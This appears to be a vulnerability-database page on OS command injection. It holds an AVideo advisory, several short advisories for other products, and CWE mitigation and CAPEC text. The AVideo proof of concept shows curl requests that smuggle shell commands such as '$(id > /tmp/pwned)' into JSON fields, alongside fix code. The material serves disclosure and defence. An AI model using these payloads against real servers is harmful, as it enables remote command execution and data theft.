Note: intval() is applied to liveTransmitionHistory_id in the separate getProcess() function (line 805), but NOT in the runRestream() path that constructs the log file.

5. Unsanitized log file path passed to exec() (lines 720, 723):

// Line 720 (remote ffmpeg path):
execFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);

// Line 723 (direct execution fallback):
exec($command . ' > ' . $logFile . ' 2>&1 &');

The code sanitizes stream URLs via clearCommandURL() and uses escapeshellarg() for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.

PoC

Prerequisites: A valid AVideo account with live streaming permissions and a valid restream token.

Step 1: Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.

Step 2: Send a crafted restream request with shell metacharacters in users_id:

curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
  -H "Content-Type: application/json" \
  -d '{
    "token": "VALID_TOKEN",
    "m3u8": "https://example.com/stream.m3u8",
    "restreamsDestinations": ["rtmp://example.com/live/key"],
    "restreamsToken": ["VALID_TOKEN"],
    "users_id": "x$(id > /tmp/pwned)x",
    "liveTransmitionHistory_id": "1"
  }'

Step 3: The resulting exec call becomes:

ffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 &

The $() subshell executes id > /tmp/pwned before the redirection is processed.

Step 4: Verify command execution:

curl -k "https://TARGET/tmp/pwned"
# Expected: output of `id` command showing the web server user

The same vector works through liveTransmitionHistory_id:

curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
  -H "Content-Type: application/json" \
  -d '{
    "token": "VALID_TOKEN",
    "m3u8": "https://example.com/stream.m3u8",
    "restreamsDestinations": ["rtmp://example.com/live/key"],
    "restreamsToken": ["VALID_TOKEN"],
    "users_id": "1",
    "liveTransmitionHistory_id": "1$(whoami > /tmp/pwned2)1"
  }'

Impact

An authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:

  • Full server compromise: Reading sensitive files (/etc/passwd, database credentials, .env files)
  • Data exfiltration: Accessing the AVideo database and all user data
  • Lateral movement: Using the compromised server as a pivot point
  • Service disruption: Killing processes, modifying or deleting files
  • Persistent backdoor: Installing web shells or cron jobs for ongoing access

The authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.

Recommended Fix

Sanitize both users_id and liveTransmitionHistory_id immediately after input, and use escapeshellarg() on the log file path before shell execution.

In restreamer.json.php, after line 220 (input decoding), add input sanitization:

$robj = json_decode($request);
// Sanitize fields that will be used in file paths and shell commands
if (isset($robj->users_id)) {
    $robj->users_id = preg_replace('/[^a-zA-Z0-9_-]/', '', $robj->users_id);
}
if (isset($robj->liveTransmitionHistory_id)) {
    $robj->liveTransmitionHistory_id = intval($robj->liveTransmitionHistory_id);
}

At lines 720 and 723, use escapeshellarg() on the log file path:

// Line 720:
execFFMPEGAsyncOrRemote($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);

// Line 723:
exec($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 &');

Both fixes should be applied — input sanitization as defense-in-depth, and escapeshellarg() as the direct mitigation at the point of shell execution.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33648"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T17:47:21Z",
    "nvd_published_at": "2026-03-23T19:16:40Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks.\n\n## Details\n\nThe vulnerability exists in `plugin/Live/standAloneFiles/restreamer.json.php`. The data flow is:\n\n**1. User input ingestion** (line 220):\n```php\n$request = file_get_contents(\"php://input\");\n$robj = json_decode($request);\n```\n\n**2. Log file template** (line 58):\n```php\n$logFile = $logFileLocation . \"ffmpeg_restreamer_{users_id}_\" . date(\"Y-m-d-h-i-s\") . \".log\";\n```\n\n**3. `users_id` injected without sanitization** (line 318):\n```php\n$obj-\u003elogFile = str_replace(\u0027{users_id}\u0027, $robj-\u003eusers_id, $logFile);\n```\n\n**4. `liveTransmitionHistory_id` injected without sanitization** (line 407):\n```php\n$pid[] = startRestream($m3u8, [$value], str_replace(\".log\", \"_{$key}_{$robj-\u003eliveTransmitionHistory_id}_{$host}.log\", $logFile), $robj);\n```\n\nNote: `intval()` is applied to `liveTransmitionHistory_id` in the separate `getProcess()` function (line 805), but NOT in the `runRestream()` path that constructs the log file.\n\n**5. Unsanitized log file path passed to `exec()`** (lines 720, 723):\n```php\n// Line 720 (remote ffmpeg path):\nexecFFMPEGAsyncOrRemote($command . \u0027 \u003e \u0027 . $logFile . \u0027 2\u003e\u00261 \u0027, $keyword, \u0027\u0027, $restreamStandAloneFFMPEG);\n\n// Line 723 (direct execution fallback):\nexec($command . \u0027 \u003e \u0027 . $logFile . \u0027 2\u003e\u00261 \u0026\u0027);\n```\n\nThe code sanitizes stream URLs via `clearCommandURL()` and uses `escapeshellarg()` for pgrep patterns elsewhere, but completely neglects the log file path \u2014 a classic oversight where one injection vector is hardened while an adjacent one is left open.\n\n## PoC\n\n**Prerequisites:** A valid AVideo account with live streaming permissions and a valid restream token.\n\n**Step 1:** Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.\n\n**Step 2:** Send a crafted restream request with shell metacharacters in `users_id`:\n\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"token\": \"VALID_TOKEN\",\n    \"m3u8\": \"https://example.com/stream.m3u8\",\n    \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n    \"restreamsToken\": [\"VALID_TOKEN\"],\n    \"users_id\": \"x$(id \u003e /tmp/pwned)x\",\n    \"liveTransmitionHistory_id\": \"1\"\n  }\u0027\n```\n\n**Step 3:** The resulting exec call becomes:\n```\nffmpeg ... \u003e /var/www/tmp/ffmpeg_restreamer_x$(id \u003e /tmp/pwned)x_2026-03-20-... .log 2\u003e\u00261 \u0026\n```\n\nThe `$()` subshell executes `id \u003e /tmp/pwned` before the redirection is processed.\n\n**Step 4:** Verify command execution:\n```bash\ncurl -k \"https://TARGET/tmp/pwned\"\n# Expected: output of `id` command showing the web server user\n```\n\nThe same vector works through `liveTransmitionHistory_id`:\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"token\": \"VALID_TOKEN\",\n    \"m3u8\": \"https://example.com/stream.m3u8\",\n    \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n    \"restreamsToken\": [\"VALID_TOKEN\"],\n    \"users_id\": \"1\",\n    \"liveTransmitionHistory_id\": \"1$(whoami \u003e /tmp/pwned2)1\"\n  }\u0027\n```\n\n## Impact\n\nAn authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:\n\n- **Full server compromise**: Reading sensitive files (`/etc/passwd`, database credentials, `.env` files)\n- **Data exfiltration**: Accessing the AVideo database and all user data\n- **Lateral movement**: Using the compromised server as a pivot point\n- **Service disruption**: Killing processes, modifying or deleting files\n- **Persistent backdoor**: Installing web shells or cron jobs for ongoing access\n\nThe authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.\n\n## Recommended Fix\n\nSanitize both `users_id` and `liveTransmitionHistory_id` immediately after input, and use `escapeshellarg()` on the log file path before shell execution.\n\n**In `restreamer.json.php`, after line 220 (input decoding), add input sanitization:**\n\n```php\n$robj = json_decode($request);\n// Sanitize fields that will be used in file paths and shell commands\nif (isset($robj-\u003eusers_id)) {\n    $robj-\u003eusers_id = preg_replace(\u0027/[^a-zA-Z0-9_-]/\u0027, \u0027\u0027, $robj-\u003eusers_id);\n}\nif (isset($robj-\u003eliveTransmitionHistory_id)) {\n    $robj-\u003eliveTransmitionHistory_id = intval($robj-\u003eliveTransmitionHistory_id);\n}\n```\n\n**At lines 720 and 723, use `escapeshellarg()` on the log file path:**\n\n```php\n// Line 720:\nexecFFMPEGAsyncOrRemote($command . \u0027 \u003e \u0027 . escapeshellarg($logFile) . \u0027 2\u003e\u00261 \u0027, $keyword, \u0027\u0027, $restreamStandAloneFFMPEG);\n\n// Line 723:\nexec($command . \u0027 \u003e \u0027 . escapeshellarg($logFile) . \u0027 2\u003e\u00261 \u0026\u0027);\n```\n\nBoth fixes should be applied \u2014 input sanitization as defense-in-depth, and `escapeshellarg()` as the direct mitigation at the point of shell execution.",
  "id": "GHSA-5m4q-5cvx-36mw",
  "modified": "2026-03-25T17:47:21Z",
  "published": "2026-03-25T17:47:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5m4q-5cvx-36mw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33648"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/99b865413172045fef6a98b5e9bfc7b24da11678"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path"
}

GHSA-5M66-HPPQ-VHMQ

Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22
VLAI
Details

TP-Link WDR Series devices through firmware v3 (such as TL-WDR5620 V3.0) are affected by command injection (after login) leading to remote code execution, because shell metacharacters can be included in the weather get_weather_observe citycode field.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-6487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-01-18T10:29:00Z",
    "severity": "HIGH"
  },
  "details": "TP-Link WDR Series devices through firmware v3 (such as TL-WDR5620 V3.0) are affected by command injection (after login) leading to remote code execution, because shell metacharacters can be included in the weather get_weather_observe citycode field.",
  "id": "GHSA-5m66-hppq-vhmq",
  "modified": "2022-05-13T01:22:43Z",
  "published": "2022-05-13T01:22:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6487"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xcc-Since2016/TP-Link-WDR-Router-Command-injection_POC/blob/master/poc.py"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5M7H-7MWC-924H

Vulnerability from github – Published: 2025-07-21 15:30 – Updated: 2025-07-21 15:30
VLAI
Details

An arbitrary file writing vulnerability in the Secure PDF eXchange (SPX) feature of Sophos Firewall versions older than 21.0 MR2 (21.0.2) can lead to pre-auth remote code execution, if a specific configuration of SPX is enabled in combination with the firewall running in High Availability (HA) mode.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-6704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-21T14:15:30Z",
    "severity": "CRITICAL"
  },
  "details": "An arbitrary file writing vulnerability in the Secure PDF eXchange (SPX) feature of Sophos Firewall versions older than 21.0 MR2 (21.0.2)\u00a0can lead to pre-auth remote code execution, if a specific configuration of SPX is enabled in combination with the firewall running in High Availability (HA) mode.",
  "id": "GHSA-5m7h-7mwc-924h",
  "modified": "2025-07-21T15:30:31Z",
  "published": "2025-07-21T15:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6704"
    },
    {
      "type": "WEB",
      "url": "https://www.sophos.com/en-us/security-advisories/sophos-sa-20250721-sfos-rce"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5M8J-9JP4-9VQG

Vulnerability from github – Published: 2025-07-07 03:30 – Updated: 2025-07-07 03:30
VLAI
Details

ThreatSonar Anti-Ransomware developed by TeamT5 has an OS Command Injection vulnerability, allowing remote attackers with product platform intermediate privileges to inject arbitrary OS commands and execute them on the server, thereby gaining administrative access to the remote host.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-7145"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-07T03:15:30Z",
    "severity": "HIGH"
  },
  "details": "ThreatSonar Anti-Ransomware developed by TeamT5 has an OS Command Injection vulnerability, allowing remote attackers with product platform intermediate privileges to inject arbitrary OS commands and execute them on the server, thereby gaining administrative access to the remote host.",
  "id": "GHSA-5m8j-9jp4-9vqg",
  "modified": "2025-07-07T03:30:24Z",
  "published": "2025-07-07T03:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7145"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/en/cp-139-10232-f99c0-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.twcert.org.tw/tw/cp-132-10231-a15c8-1.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Architecture and Design

Strategy: Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-4.3
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Mitigation
Implementation

If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.

Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
  • Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Operation

Strategy: Sandbox or Jail

Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-6: Argument Injection

An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.

CAPEC-88: OS Command Injection

In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

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